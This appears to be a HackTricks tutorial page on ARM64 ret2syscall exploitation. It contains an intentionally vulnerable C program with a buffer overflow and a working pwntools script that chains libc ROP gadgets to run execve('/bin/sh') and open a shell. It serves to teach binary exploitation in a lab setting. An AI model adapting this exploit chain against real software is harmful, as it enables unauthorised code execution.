Ret2syscall - ARM64

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Find an introduction to arm64 in:

pageIntroduction to ARM64v8

Code

We are going to use the example from the page:

pageRet2win - arm64
#include <stdio.h>
#include <unistd.h>

void win() {
    printf("Congratulations!\n");
}

void vulnerable_function() {
    char buffer[64];
    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
    vulnerable_function();
    return 0;
}

Compile without pie and canary:

clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

In order to prepare the call for the syscall it's needed the following configuration:

  • x8: 221 Specify sys_execve

  • x0: ptr to "/bin/sh" specify file to execute

  • x1: 0 specify no arguments passed

  • x2: 0 specify no environment variables passed

Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:

;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30: 
    ldp x3, x0, [sp, #8] ; 
    ldp x1, x4, [sp, #0x18] ; 
    ldr x5, [sp, #0x58] ; 
    ldr x2, [sp, #0xe0] ; 
    blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c : 
    nop ; 
    nop ; 
    mov x8, #0xdd ; 
    svc #0

With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.

Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.

Exploit

from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh")) 

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated